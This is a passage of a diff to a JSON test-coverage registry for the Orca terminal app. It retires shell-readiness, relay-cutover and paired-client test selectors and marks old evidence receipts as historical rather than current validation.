--workers=1\"],\"testFiles\":[\"src/main/daemon/shell-readiness/testing/repro-13767-shell-ready-marker-lost-to-exec.test.ts\",\"src/main/daemon/shell-readiness/testing/bash-prompt-command-composition.test.ts\",\"src/main/pty/shell-startup/shell-startup-identity-scanner.test.ts\",\"src/main/pty/shell-startup/shell-startup-output-scanner.test.ts\",\"src/shared/terminal/pty/native-process/pty-slave-line-discipline-echo.test.ts\",\"src/shared/terminal/pty/native-process/shell-process-readiness.test.ts\",\"src/main/daemon/shell-readiness/testing/shell-ready.test.ts\",\"src/main/providers/local-pty/local-pty-shell-ready-marker-scan.test.ts\",\"src/main/providers/local-pty/local-pty-shell-ready-startup-command.test.ts\",\"src/main/providers/local-pty/local-pty-shell-ready-wrapper-generation.test.ts\",\"tests/e2e/paired-startup-exec-readiness.spec.ts\"],\"assertionRefs\":[{\"file\":\"src/main/pty/shell-startup/shell-startup-output-scanner.test.ts\",\"assertions\":[\"Fish bracketed-paste output stays byte-exact across marker and ESC chunk splits\",\"every byte after readiness is preserved across every chunk boundary, even when it resembles an identity marker\",\"pre-ready identity and readiness markers strip across every chunk boundary without reordering prompt output\",\"incomplete scanner prefixes drain in byte order\"]},{\"file\":\"tests/e2e/paired-startup-exec-readiness.spec.ts\",\"assertions\":[\"a headed desktop owner and paired client recover startup exec on one stable owning PTY\",\"an isolated headless orca serve owner provides the same exact-once output and input contract\"]}]}", "Audit5896 retires the entire src/main/providers/local-pty/local-pty-shell-ready-marker-scan.test.ts suite. Its remaining alarms are intentionally lost; retained commands are not equivalent replacement coverage. No fresh whole-gate validation is claimed. Complete original active selector fields archived as JSON history: {\"commands\":[\"pnpm exec vitest run --config config/vitest.config.ts src/main/daemon/shell-readiness/testing/repro-13767-shell-ready-marker-lost-to-exec.test.ts src/main/daemon/shell-readiness/testing/bash-prompt-command-composition.test.ts src/shared/terminal/pty/native-process/pty-slave-line-discipline-echo.test.ts src/shared/terminal/pty/native-process/shell-process-readiness.test.ts src/main/daemon/shell-readiness/testing/shell-ready.test.ts src/main/providers/local-pty/local-pty-shell-ready-marker-scan.test.ts src/main/providers/local-pty/local-pty-shell-ready-startup-command.test.ts src/main/providers/local-pty/local-pty-shell-ready-wrapper-generation.test.ts\",\"pnpm exec vitest run --config config/vitest.config.ts src/main/daemon/shell-readiness/testing/repro-13767-shell-ready-marker-lost-to-exec.test.ts src/shared/terminal/pty/native-process/pty-slave-line-discipline-echo.test.ts src/shared/terminal/pty/native-process/shell-process-readiness.test.ts src/main/daemon/shell-readiness/testing/shell-ready.test.ts src/main/providers/local-pty/local-pty-shell-ready-marker-scan.test.ts src/main/providers/local-pty/local-pty-shell-ready-startup-command.test.ts src/main/providers/local-pty/local-pty-shell-ready-wrapper-generation.test.ts\",\"pnpm exec vitest run --config config/vitest.config.ts --maxWorkers=1 src/main/daemon/shell-readiness/testing/shell-ready.test.ts\",\"ORCA_E2E_WEB_CLIENT=1 SKIP_BUILD=1 pnpm exec playwright test tests/e2e/paired-startup-exec-readiness.spec.ts --config tests/playwright.config.ts --project electron-headless --project electron-headful --workers=1\"],\"testFiles\":[\"src/main/daemon/shell-readiness/testing/repro-13767-shell-ready-marker-lost-to-exec.test.ts\",\"src/main/daemon/shell-readiness/testing/bash-prompt-command-composition.test.ts\",\"src/shared/terminal/pty/native-process/pty-slave-line-discipline-echo.test.ts\",\"src/shared/terminal/pty/native-process/shell-process-readiness.test.ts\",\"src/main/daemon/shell-readiness/testing/shell-ready.test.ts\",\"src/main/providers/local-pty/local-pty-shell-ready-marker-scan.test.ts\",\"src/main/providers/local-pty/local-pty-shell-ready-startup-command.test.ts\",\"src/main/providers/local-pty/local-pty-shell-ready-wrapper-generation.test.ts\",\"tests/e2e/paired-startup-exec-readiness.spec.ts\"],\"assertionRefs\":[{\"file\":\"tests/e2e/paired-startup-exec-readiness.spec.ts\",\"assertions\":[\"a headed desktop owner and paired client recover startup exec on one stable owning PTY\",\"an isolated headless orca serve owner provides the same exact-once output and input contract\"]}]}", - "Audit6695 retires the whole startup-exec repro suite (10 registrations/16 source examples). Early 300/500ms negatives within a 2s gate do not establish executable trust or eventual read safety. Real eventual timeout, profile-exec, relay and second-Bash smoke alarms are intentionally lost without equivalent replacement. Retained dated evidence keeps its exact independent selector scope; no fresh whole-gate execution is claimed. Complete original active selector fields preserved as historical data: {\"commands\":[\"pnpm exec vitest run --config config/vitest.config.ts src/main/daemon/shell-readiness/testing/repro-13767-shell-ready-marker-lost-to-exec.test.ts src/main/daemon/shell-readiness/testing/bash-prompt-command-composition.test.ts src/shared/terminal/pty/native-process/pty-slave-line-discipline-echo.test.ts src/shared/terminal/pty/native-process/shell-process-readiness.test.ts src/main/daemon/shell-readiness/testing/shell-ready.test.ts src/main/providers/local-pty/local-pty-shell-ready-startup-command.test.ts src/main/providers/local-pty/local-pty-shell-ready-wrapper-generation.test.ts\",\"pnpm exec vitest run --config config/vitest.config.ts src/main/daemon/shell-readiness/testing/repro-13767-shell-ready-marker-lost-to-exec.test.ts src/shared/terminal/pty/native-process/pty-slave-line-discipline-echo.test.ts src/shared/terminal/pty/native-process/shell-process-readiness.test.ts src/main/daemon/shell-readiness/testing/shell-ready.test.ts src/main/providers/local-pty/local-pty-shell-ready-startup-command.test.ts src/main/providers/local-pty/local-pty-shell-ready-wrapper-generation.test.ts\",\"pnpm exec vitest run --config config/vitest.config.ts --maxWorkers=1 src/main/daemon/shell-readiness/testing/shell-ready.test.ts\",\"ORCA_E2E_WEB_CLIENT=1 SKIP_BUILD=1 pnpm exec playwright test tests/e2e/paired-startup-exec-readiness.spec.ts --config tests/playwright.config.ts --project electron-headless --project electron-headful --workers=1\"],\"testFiles\":[\"src/main/daemon/shell-readiness/testing/repro-13767-shell-ready-marker-lost-to-exec.test.ts\",\"src/main/daemon/shell-readiness/testing/bash-prompt-command-composition.test.ts\",\"src/shared/terminal/pty/native-process/pty-slave-line-discipline-echo.test.ts\",\"src/shared/terminal/pty/native-process/shell-process-readiness.test.ts\",\"src/main/daemon/shell-readiness/testing/shell-ready.test.ts\",\"src/main/providers/local-pty/local-pty-shell-ready-startup-command.test.ts\",\"src/main/providers/local-pty/local-pty-shell-ready-wrapper-generation.test.ts\",\"tests/e2e/paired-startup-exec-readiness.spec.ts\"],\"assertionRefs\":[{\"file\":\"tests/e2e/paired-startup-exec-readiness.spec.ts\",\"assertions\":[\"a headed desktop owner and paired client recover startup exec on one stable owning PTY\",\"an isolated headless orca serve owner provides the same exact-once output and input contract\"]}]}" + "Audit6695 retires the whole startup-exec repro suite (10 registrations/16 source examples). Early 300/500ms negatives within a 2s gate do not establish executable trust or eventual read safety. Real eventual timeout, profile-exec, relay and second-Bash smoke alarms are intentionally lost without equivalent replacement. Retained dated evidence keeps its exact independent selector scope; no fresh whole-gate execution is claimed. Complete original active selector fields preserved as historical data: {\"commands\":[\"pnpm exec vitest run --config config/vitest.config.ts src/main/daemon/shell-readiness/testing/repro-13767-shell-ready-marker-lost-to-exec.test.ts src/main/daemon/shell-readiness/testing/bash-prompt-command-composition.test.ts src/shared/terminal/pty/native-process/pty-slave-line-discipline-echo.test.ts src/shared/terminal/pty/native-process/shell-process-readiness.test.ts src/main/daemon/shell-readiness/testing/shell-ready.test.ts src/main/providers/local-pty/local-pty-shell-ready-startup-command.test.ts src/main/providers/local-pty/local-pty-shell-ready-wrapper-generation.test.ts\",\"pnpm exec vitest run --config config/vitest.config.ts src/main/daemon/shell-readiness/testing/repro-13767-shell-ready-marker-lost-to-exec.test.ts src/shared/terminal/pty/native-process/pty-slave-line-discipline-echo.test.ts src/shared/terminal/pty/native-process/shell-process-readiness.test.ts src/main/daemon/shell-readiness/testing/shell-ready.test.ts src/main/providers/local-pty/local-pty-shell-ready-startup-command.test.ts src/main/providers/local-pty/local-pty-shell-ready-wrapper-generation.test.ts\",\"pnpm exec vitest run --config config/vitest.config.ts --maxWorkers=1 src/main/daemon/shell-readiness/testing/shell-ready.test.ts\",\"ORCA_E2E_WEB_CLIENT=1 SKIP_BUILD=1 pnpm exec playwright test tests/e2e/paired-startup-exec-readiness.spec.ts --config tests/playwright.config.ts --project electron-headless --project electron-headful --workers=1\"],\"testFiles\":[\"src/main/daemon/shell-readiness/testing/repro-13767-shell-ready-marker-lost-to-exec.test.ts\",\"src/main/daemon/shell-readiness/testing/bash-prompt-command-composition.test.ts\",\"src/shared/terminal/pty/native-process/pty-slave-line-discipline-echo.test.ts\",\"src/shared/terminal/pty/native-process/shell-process-readiness.test.ts\",\"src/main/daemon/shell-readiness/testing/shell-ready.test.ts\",\"src/main/providers/local-pty/local-pty-shell-ready-startup-command.test.ts\",\"src/main/providers/local-pty/local-pty-shell-ready-wrapper-generation.test.ts\",\"tests/e2e/paired-startup-exec-readiness.spec.ts\"],\"assertionRefs\":[{\"file\":\"tests/e2e/paired-startup-exec-readiness.spec.ts\",\"assertions\":[\"a headed desktop owner and paired client recover startup exec on one stable owning PTY\",\"an isolated headless orca serve owner provides the same exact-once output and input contract\"]}]}", + "E2E layout cleanup retires this complete historical receipt because its exact selector or source changed; it is not current validation. Original receipt verbatim:\n{\n \"date\": \"2026-08-12\",\n \"runner\": \"local\",\n \"platform\": \"macos\",\n \"command\": \"ORCA_E2E_WEB_CLIENT=1 SKIP_BUILD=1 pnpm exec playwright test tests/e2e/paired-startup-exec-readiness.spec.ts --config tests/playwright.config.ts --project electron-headless --project electron-headful --workers=1\",\n \"result\": \"passed\",\n \"durationSeconds\": 14,\n \"summary\": \"The shared oracle passed a headed desktop owner plus paired web client and an isolated headless orca serve owner plus paired web client.\"\n }", + "E2E layout cleanup: original active selector metadata is historical, not current validation:\ncommands: [\n \"pnpm exec vitest run --config config/vitest.config.ts src/main/daemon/shell-readiness/testing/bash-prompt-command-composition.test.ts src/shared/terminal/pty/native-process/pty-slave-line-discipline-echo.test.ts src/shared/terminal/pty/native-process/shell-process-readiness.test.ts src/main/daemon/shell-readiness/testing/shell-ready.test.ts src/main/providers/local-pty/local-pty-shell-ready-startup-command.test.ts src/main/providers/local-pty/local-pty-shell-ready-wrapper-generation.test.ts\",\n \"pnpm exec vitest run --config config/vitest.config.ts src/shared/terminal/pty/native-process/pty-slave-line-discipline-echo.test.ts src/shared/terminal/pty/native-process/shell-process-readiness.test.ts src/main/daemon/shell-readiness/testing/shell-ready.test.ts src/main/providers/local-pty/local-pty-shell-ready-startup-command.test.ts src/main/providers/local-pty/local-pty-shell-ready-wrapper-generation.test.ts\",\n \"pnpm exec vitest run --config config/vitest.config.ts --maxWorkers=1 src/main/daemon/shell-readiness/testing/shell-ready.test.ts\",\n \"ORCA_E2E_WEB_CLIENT=1 SKIP_BUILD=1 pnpm exec playwright test tests/e2e/paired-startup-exec-readiness.spec.ts --config tests/playwright.config.ts --project electron-headless --project electron-headful --workers=1\"\n ]\ntestFiles: [\n \"src/main/daemon/shell-readiness/testing/bash-prompt-command-composition.test.ts\",\n \"src/shared/terminal/pty/native-process/pty-slave-line-discipline-echo.test.ts\",\n \"src/shared/terminal/pty/native-process/shell-process-readiness.test.ts\",\n \"src/main/daemon/shell-readiness/testing/shell-ready.test.ts\",\n \"src/main/providers/local-pty/local-pty-shell-ready-startup-command.test.ts\",\n \"src/main/providers/local-pty/local-pty-shell-ready-wrapper-generation.test.ts\",\n \"tests/e2e/paired-startup-exec-readiness.spec.ts\"\n ]\nassertionRefs: [\n {\n \"file\": \"tests/e2e/paired-startup-exec-readiness.spec.ts\",\n \"assertions\": [\n \"a headed desktop owner and paired client recover startup exec on one stable owning PTY\",\n \"an isolated headless orca serve owner provides the same exact-once output and input contract\"\n ]\n }\n ]", + "E2E layout cleanup intentionally removes whole CUT registrations without assertion salvage or equivalent replacement. Surviving remapped selectors are unexecuted future work at the future serial parent (actual parent null): {\"commands\":[\"pnpm exec vitest run --config config/vitest.config.ts src/main/daemon/shell-readiness/testing/bash-prompt-command-composition.test.ts src/shared/terminal/pty/native-process/pty-slave-line-discipline-echo.test.ts src/shared/terminal/pty/native-process/shell-process-readiness.test.ts src/main/daemon/shell-readiness/testing/shell-ready.test.ts src/main/providers/local-pty/local-pty-shell-ready-startup-command.test.ts src/main/providers/local-pty/local-pty-shell-ready-wrapper-generation.test.ts\",\"pnpm exec vitest run --config config/vitest.config.ts src/shared/terminal/pty/native-process/pty-slave-line-discipline-echo.test.ts src/shared/terminal/pty/native-process/shell-process-readiness.test.ts src/main/daemon/shell-readiness/testing/shell-ready.test.ts src/main/providers/local-pty/local-pty-shell-ready-startup-command.test.ts src/main/providers/local-pty/local-pty-shell-ready-wrapper-generation.test.ts\",\"pnpm exec vitest run --config config/vitest.config.ts --maxWorkers=1 src/main/daemon/shell-readiness/testing/shell-ready.test.ts\",\"ORCA_E2E_WEB_CLIENT=1 SKIP_BUILD=1 pnpm exec playwright test tests/e2e/remote/paired-runtime/workspace-routing/paired-startup-exec-readiness.spec.ts --config tests/playwright.config.ts --project electron-headless --project electron-headful --workers=1\"],\"testFiles\":[\"src/main/daemon/shell-readiness/testing/bash-prompt-command-composition.test.ts\",\"src/shared/terminal/pty/native-process/pty-slave-line-discipline-echo.test.ts\",\"src/shared/terminal/pty/native-process/shell-process-readiness.test.ts\",\"src/main/daemon/shell-readiness/testing/shell-ready.test.ts\",\"src/main/providers/local-pty/local-pty-shell-ready-startup-command.test.ts\",\"src/main/providers/local-pty/local-pty-shell-ready-wrapper-generation.test.ts\",\"tests/e2e/remote/paired-runtime/workspace-routing/paired-startup-exec-readiness.spec.ts\"],\"assertionRefs\":[{\"file\":\"tests/e2e/remote/paired-runtime/workspace-routing/paired-startup-exec-readiness.spec.ts\",\"assertions\":[\"a headed desktop owner and paired client recover startup exec on one stable owning PTY\",\"an isolated headless orca serve owner provides the same exact-once output and input contract\"]}]}", + "Historical declared scope before this cleanup: {\"protection\":\"partial\",\"coveredPlatforms\":[\"macos\",\"linux\"],\"coveredProviders\":[\"local\",\"local-daemon\",\"ssh-relay\",\"paired-runtime\"],\"redGreenEvidence\":{\"status\":\"complete\",\"evidence\":\"Daemon oracle SHA-256 b13b08006a38b2adc2acb51ae9342909514e55ab4822fac4fbb76cd49b344cc6 was byte-identical across runs: affected baseline 09ec516ae5 failed 4 of 14, while pre-PR main bc2e30000b and this PR passed 14 of 14. The unchanged live SSH oracle failed on bc2e30000b and with the ownership change reverted because the ledger stayed pending after reconnect, then passed on this PR. Fish chunk oracle patch SHA-256 fd49a4d3d91bd5f0d10c1b1f44f4cfbd92cef9155a5505b415c8680184cdc765 was also byte-identical: scan target e4c278eb52, main 150cc6f50c, and candidate ae7f30318a with shared scanner integration disabled failed only the ESC-introducer split in local and daemon owners, while ae7f30318a passed all 163 cases plus headless-xterm rendering.\"},\"flakeHistory\":{\"status\":\"unknown\",\"evidence\":\"Fresh deterministic and isolated live runs pass locally; CI and soak history have not started.\"},\"runtimeBudget\":{\"p95Seconds\":120,\"scope\":\"focused local wrapper contracts plus isolated SSH and paired live journeys\"},\"performanceBudget\":{\"required\":true,\"evidence\":\"Two bounded linear scans partition identity ownership at the exact ready-marker boundary and retain only the existing bounded prefixes. The normal ready-marker path cancels before external probing. A missing marker triggers a debounced stty read only after a line-editor enable sequence, followed by narrow PID status and executable-image inspection only when termios matches. Slow ordinary startup output triggers zero probes; rejected protocol emissions are capped at four probes per startup. There is no per-command hook or steady-state polling.\"}}" ], "demotionRule": "Keep experimental or demote if prompt fallback enters a normal, child, or line-init read; a non-shell executable triggers prompt fallback; the identified shell PID is not foreground; delivery duplicates; ordinary startup output spawns probes; probe attempts exceed four; or the focused gate flakes without an identified harness defect." }, @@ -3119,60 +3019,39 @@ "id": "desktop-relay.region-correction-idle-cutover", "title": "Regional correction moves only an idle relay source", "maturity": "experimental", - "protection": "partial", + "protection": "none", "owner": "desktop-runtime", "layer": "cell-desktop-real-websocket", "surfaces": ["regional correction", "idle source cutover", "desktop relay reconnect"], "platforms": ["macos", "linux", "windows"], "providers": ["cloud-relay"], - "coveredPlatforms": ["macos"], - "coveredProviders": ["cloud-relay"], - "coverageNotes": "Real local WebSocket/control/proof/splice traffic and production SQLite store run with synthetic clock and synthetic token verification. Separate PostgreSQL16 suites validate SQL concurrency. This does not measure production network latency, physical phones, UI, or the production token issuer.", + "coveredPlatforms": [], + "coveredProviders": [], + "coverageNotes": "No current executed protection is claimed after E2E layout cleanup. Historical account: Real local WebSocket/control/proof/splice traffic and production SQLite store run with synthetic clock and synthetic token verification. Separate PostgreSQL16 suites validate SQL concurrency. This does not measure production network latency, physical phones, UI, or the production token issuer.", "motivatingLinks": [ "docs/relay-region-correction/RELAY-REGION-CORRECTION-IDLE-CUTOVER-PLAN.md" ], "invariant": "Regional optimization never closes an established relay client. The source gates admissions only after actual work is idle, commits the exact assignment atomically, and releases its empty control. A failed target uses ordinary migration recovery; previously sent mutations are not replayed.", - "oracle": "Two real TCP WebSocket cells, the actual desktop origin pool, SQLite and an independent execution child verify busy phone/iPad deferral, idle movement, racing arrival rejection, definite-abort admission recovery and observed target-registration failure with ordinary rollback.", - "commands": [ - "ORCA_BACKGROUND_LAUNCH=1 pnpm test tests/e2e/relay-region-correction.unit.test.ts" - ], - "testFiles": ["tests/e2e/relay-region-correction.unit.test.ts"], - "assertionRefs": [ - { - "file": "tests/e2e/relay-region-correction.unit.test.ts", - "assertions": [ - "releases the empty source and recovers normally when the target never registers", - "rejects an arrival during cutover and restores admissions after a definite failed commit", - "defers for either connected device, then moves after both disconnect without replaying work" - ] - } - ], - "evidenceRuns": [ - { - "date": "2026-09-11", - "runner": "local", - "platform": "macos", - "command": "ORCA_BACKGROUND_LAUNCH=1 pnpm test tests/e2e/relay-region-correction.unit.test.ts", - "result": "passed", - "durationSeconds": 6.44, - "summary": "Three real TCP WebSocket cases passed after removing store retention. Log: .tmp/idle-cutover-review/transport-without-retention.log. Does not validate packaged or physical clients." - } - ], + "oracle": "No current executed protection is claimed after E2E layout cleanup. Historical account: Two real TCP WebSocket cells, the actual desktop origin pool, SQLite and an independent execution child verify busy phone/iPad deferral, idle movement, racing arrival rejection, definite-abort admission recovery and observed target-registration failure with ordinary rollback.", + "commands": [], + "testFiles": [], + "assertionRefs": [], + "evidenceRuns": [], "runtimeBudget": { "p95Seconds": 180, - "scope": "three local real-WebSocket scenarios with synthetic elapsed time for ordinary recovery" + "scope": "Historical prior-selector budget; changed E2E selectors have no new runtime measurement. three local real-WebSocket scenarios with synthetic elapsed time for ordinary recovery" }, "flakeHistory": { - "status": "unknown", - "evidence": "Local implementation validation; no CI soak history yet." + "status": "not-started", + "evidence": "No fresh soak for changed E2E selectors. Historical account: Local implementation validation; no CI soak history yet." }, "redGreenEvidence": { - "status": "partial", - "evidence": "Registry admission accounting negative control and five conflicting operation-identity regressions fail before their fixes and pass afterward. Locked database reconciliation has separate red/green evidence. Full cross-layer counterfactual remains unverified." + "status": "missing", + "evidence": "No fresh red/green execution for changed E2E selectors. Historical account: Registry admission accounting negative control and five conflicting operation-identity regressions fail before their fixes and pass afterward. Locked database reconciliation has separate red/green evidence. Full cross-layer counterfactual remains unverified." }, "performanceBudget": { "required": true, - "evidence": "No retained source lease or new mobile timer. Candidate selection is read-only; busy sources immediately defer. Idle cutover reuses normal desktop reconnect and existing migration recovery." + "evidence": "Historical prior-selector account; changed E2E selectors have no new performance measurement. No retained source lease or new mobile timer. Candidate selection is read-only; busy sources immediately defer. Idle cutover reuses normal desktop reconnect and existing migration recovery." }, "promotionCriteria": [ "Collect 100 consecutive CI passes or 14 days of soak.", @@ -3182,7 +3061,11 @@ "knownGaps": [ "Production authentication verifier is mocked.", "Synthetic elapsed time is not a wall-clock soak.", - "Physical phone lifecycle, packaged mixed versions, SSH execution and production network behavior require separate validation." + "Physical phone lifecycle, packaged mixed versions, SSH execution and production network behavior require separate validation.", + "E2E layout cleanup retires this complete historical receipt because its exact selector or source changed; it is not current validation. Original receipt verbatim:\n{\n \"date\": \"2026-09-11\",\n \"runner\": \"local\",\n \"platform\": \"macos\",\n \"command\": \"ORCA_BACKGROUND_LAUNCH=1 pnpm test tests/e2e/relay-region-correction.unit.test.ts\",\n \"result\": \"passed\",\n \"durationSeconds\": 6.44,\n \"summary\": \"Three real TCP WebSocket cases passed after removing store retention. Log: .tmp/idle-cutover-review/transport-without-retention.log. Does not validate packaged or physical clients.\"\n }", + "E2E layout cleanup: original active selector metadata is historical, not current validation:\ncommands: [\n \"ORCA_BACKGROUND_LAUNCH=1 pnpm test tests/e2e/relay-region-correction.unit.test.ts\"\n ]\ntestFiles: [\"tests/e2e/relay-region-correction.unit.test.ts\"]\nassertionRefs: [\n {\n \"file\": \"tests/e2e/relay-region-correction.unit.test.ts\",\n \"assertions\": [\n \"releases the empty source and recovers normally when the target never registers\",\n \"rejects an arrival during cutover and restores admissions after a definite failed commit\",\n \"defers for either connected device, then moves after both disconnect without replaying work\"\n ]\n }\n ]", + "E2E layout cleanup intentionally removes whole CUT registrations without assertion salvage or equivalent replacement. Surviving remapped selectors are unexecuted future work at the future serial parent (actual parent null): {\"commands\":[],\"testFiles\":[],\"assertionRefs\":[]}", + "Historical declared scope before this cleanup: {\"protection\":\"partial\",\"coveredPlatforms\":[\"macos\"],\"coveredProviders\":[\"cloud-relay\"],\"redGreenEvidence\":{\"status\":\"partial\",\"evidence\":\"Registry admission accounting negative control and five conflicting operation-identity regressions fail before their fixes and pass afterward. Locked database reconciliation has separate red/green evidence. Full cross-layer counterfactual remains unverified.\"},\"flakeHistory\":{\"status\":\"unknown\",\"evidence\":\"Local implementation validation; no CI soak history yet.\"},\"runtimeBudget\":{\"p95Seconds\":180,\"scope\":\"three local real-WebSocket scenarios with synthetic elapsed time for ordinary recovery\"},\"performanceBudget\":{\"required\":true,\"evidence\":\"No retained source lease or new mobile timer. Candidate selection is read-only; busy sources immediately defer. Idle cutover reuses normal desktop reconnect and existing migration recovery.\"}}" ], "demotionRule": "Keep experimental or demote if optimization closes an established client, a gate reopens on ambiguous authority, a mutation is replayed, cleanup is lost, or eligible idle hosts starve." }, @@ -3308,19 +3191,17 @@ "platforms": ["macos", "linux", "windows"], "providers": ["local", "orca-server"], "coveredPlatforms": ["linux"], - "coveredProviders": ["local", "orca-server"], - "coverageNotes": "Audit3924 fresh local Linux evidence covers only the unchanged in-process paired-WebSocket integration suite (9 tests passed), not rendered Electron, actual headless CLI bootstrap, live remote/mobile or other platforms. Audit3918: Remove the standalone paired-client selection example; its distinct-device-id and initial selection alarms are intentionally lost. Retain the manually selected create-and-observe and host-folder journeys without claiming equivalent replacement, composer auto-navigation, folder-picker selection delivery, actual external-agent execution, live remote/mobile or cross-platform validation. The changed Electron selector has no fresh execution receipt. Historical prior account (preserved verbatim): Audit1931 (sources1928/1929): Partial real local-loopback multi-client suite loses supplied device-metadata attribution, direct worktree-local navigation, focused terminal-create projection and crossed-two-server inventory alarms. Retire the worktree-local alias and the stale host-originated reveal-to-all alias: no surviving callback backs that positive reveal claim; the retained host-create callback instead excludes paired observers. Keep the five exact caller-only create, explicit all-surface, reconnect non-replay, headless caller-only and follow-intent aliases. No equivalent replacement or external remote-host journey is assigned. Preserve meaningful remaining selectors/assertions and unchanged dated receipts within their original scope. Reduced selectors have no fresh gate execution evidence in this metadata packet. No equivalent replacement, physical watcher/PTY/provider, live SSH/remote/mobile, rendered, cross-platform, soak or measured-budget result is claimed. Historical prior account (preserved verbatim): A real two-client integration harness pairs two authenticated devices to one OrcaRuntimeService over WebSockets with E2EE and drives worktree.create through the real RPC dispatcher, in both headed-notifier and headless orca-serve shapes. The headless case is a modeled `orca serve` runtime shape — no notifier, no attached window — not a CLI bootstrap, and the in-process reveal non-regression calls createManagedWorktree directly. A headed Electron journey runs the desktop app as the remote server with two independently paired web clients in separate partitions and asserts each client's rendered active worktree. Windows and Linux are covered by the platform-neutral contract only; the reported field topology was a Windows server with mixed-OS clients. Audit1313: src/main/runtime/rpc/methods/worktree-create-navigation.test.ts: Fake runtime creation/show/dedupe under real RPC decoder only inspects forwarded navigation option matrices, with duplicate desktop case. Lose runtime/mobile/legacy CLI/follow/all navigation authority wiring; no rendered reveal. Reduced selectors require fresh validation; prior full-suite receipts do not validate removed or changed coverage. No equivalent replacement or physical-provider claim.", + "coveredProviders": [], + "coverageNotes": "Protection is limited to unchanged-selector receipts; remapped E2E journeys are unexecuted after E2E layout cleanup. Historical account: Audit3924 fresh local Linux evidence covers only the unchanged in-process paired-WebSocket integration suite (9 tests passed), not rendered Electron, actual headless CLI bootstrap, live remote/mobile or other platforms. Audit3918: Remove the standalone paired-client selection example; its distinct-device-id and initial selection alarms are intentionally lost. Retain the manually selected create-and-observe and host-folder journeys without claiming equivalent replacement, composer auto-navigation, folder-picker selection delivery, actual external-agent execution, live remote/mobile or cross-platform validation. The changed Electron selector has no fresh execution receipt. Historical prior account (preserved verbatim): Audit1931 (sources1928/1929): Partial real local-loopback multi-client suite loses supplied device-metadata attribution, direct worktree-local navigation, focused terminal-create projection and crossed-two-server inventory alarms. Retire the worktree-local alias and the stale host-originated reveal-to-all alias: no surviving callback backs that positive reveal claim; the retained host-create callback instead excludes paired observers. Keep the five exact caller-only create, explicit all-surface, reconnect non-replay, headless caller-only and follow-intent aliases. No equivalent replacement or external remote-host journey is assigned. Preserve meaningful remaining selectors/assertions and unchanged dated receipts within their original scope. Reduced selectors have no fresh gate execution evidence in this metadata packet. No equivalent replacement, physical watcher/PTY/provider, live SSH/remote/mobile, rendered, cross-platform, soak or measured-budget result is claimed. Historical prior account (preserved verbatim): A real two-client integration harness pairs two authenticated devices to one OrcaRuntimeService over WebSockets with E2EE and drives worktree.create through the real RPC dispatcher, in both headed-notifier and headless orca-serve shapes. The headless case is a modeled `orca serve` runtime shape — no notifier, no attached window — not a CLI bootstrap, and the in-process reveal non-regression calls createManagedWorktree directly. A headed Electron journey runs the desktop app as the remote server with two independently paired web clients in separate partitions and asserts each client's rendered active worktree. Windows and Linux are covered by the platform-neutral contract only; the reported field topology was a Windows server with mixed-OS clients. Audit1313: src/main/runtime/rpc/methods/worktree-create-navigation.test.ts: Fake runtime creation/show/dedupe under real RPC decoder only inspects forwarded navigation option matrices, with duplicate desktop case. Lose runtime/mobile/legacy CLI/follow/all navigation authority wiring; no rendered reveal. Reduced selectors require fresh validation; prior full-suite receipts do not validate removed or changed coverage. No equivalent replacement or physical-provider claim.", "motivatingLinks": ["https://github.com/stablyai/orca/issues/11027"], "invariant": "View intent belongs to the connection that requested it. With no explicit navigation target, a workspace create arriving over a paired desktop/web client connection activates only that caller; it must not emit an activateWorktree client event to sibling connections or drive the host renderer. An explicit navigation of host/clients/all remains an allowed, tested follow intent. Shared model state — repo/worktree catalogs, terminals, agent output — must keep propagating to every client unchanged. In-process and CLI creates keep notifying the host and all clients so a headless server's only viewer still gets its reveal.", - "oracle": "Audit3918: Remove the standalone paired-client selection example; its distinct-device-id and initial selection alarms are intentionally lost. Retain the manually selected create-and-observe and host-folder journeys without claiming equivalent replacement, composer auto-navigation, folder-picker selection delivery, actual external-agent execution, live remote/mobile or cross-platform validation. The changed Electron selector has no fresh execution receipt. Historical prior account (preserved verbatim): Audit1931 (sources1928/1929): Partial real local-loopback multi-client suite loses supplied device-metadata attribution, direct worktree-local navigation, focused terminal-create projection and crossed-two-server inventory alarms. Retire the worktree-local alias and the stale host-originated reveal-to-all alias: no surviving callback backs that positive reveal claim; the retained host-create callback instead excludes paired observers. Keep the five exact caller-only create, explicit all-surface, reconnect non-replay, headless caller-only and follow-intent aliases. No equivalent replacement or external remote-host journey is assigned. Preserve meaningful remaining selectors/assertions and unchanged dated receipts within their original scope. Reduced selectors have no fresh gate execution evidence in this metadata packet. No equivalent replacement, physical watcher/PTY/provider, live SSH/remote/mobile, rendered, cross-platform, soak or measured-budget result is claimed. Historical prior account (preserved verbatim): notifyActivateWorktree takes its navigation target as a required parameter, so a create call site that forgets to forward it is a compile error rather than a silent fallback to broadcasting — mutation testing confirmed all six call sites (folder, git, and remote/SSH branches, startup and no-startup each) are killed by typecheck. Behaviorally: two paired clients subscribe to runtime.clientEvents. Client A creates a workspace with activate:true; a reposChanged fence emitted after the create must be the next frame each client sees, proving no activation frame was interleaved, while worktreesChanged still arrives on both streams. The host notifier's activateWorktree is asserted not called and the host's mirrored selection is unchanged. Repeated ordinary worktree.activate calls by A are the negative control. The same file asserts the in-process create still reaches host and clients, headed and headless. The Electron journey asserts the observer's data-rendered-active-worktree-id is unchanged while the created workspace still appears in its sidebar.", + "oracle": "Protection is limited to unchanged-selector receipts; remapped E2E journeys are unexecuted after E2E layout cleanup. Historical account: Audit3918: Remove the standalone paired-client selection example; its distinct-device-id and initial selection alarms are intentionally lost. Retain the manually selected create-and-observe and host-folder journeys without claiming equivalent replacement, composer auto-navigation, folder-picker selection delivery, actual external-agent execution, live remote/mobile or cross-platform validation. The changed Electron selector has no fresh execution receipt. Historical prior account (preserved verbatim): Audit1931 (sources1928/1929): Partial real local-loopback multi-client suite loses supplied device-metadata attribution, direct worktree-local navigation, focused terminal-create projection and crossed-two-server inventory alarms. Retire the worktree-local alias and the stale host-originated reveal-to-all alias: no surviving callback backs that positive reveal claim; the retained host-create callback instead excludes paired observers. Keep the five exact caller-only create, explicit all-surface, reconnect non-replay, headless caller-only and follow-intent aliases. No equivalent replacement or external remote-host journey is assigned. Preserve meaningful remaining selectors/assertions and unchanged dated receipts within their original scope. Reduced selectors have no fresh gate execution evidence in this metadata packet. No equivalent replacement, physical watcher/PTY/provider, live SSH/remote/mobile, rendered, cross-platform, soak or measured-budget result is claimed. Historical prior account (preserved verbatim): notifyActivateWorktree takes its navigation target as a required parameter, so a create call site that forgets to forward it is a compile error rather than a silent fallback to broadcasting — mutation testing confirmed all six call sites (folder, git, and remote/SSH branches, startup and 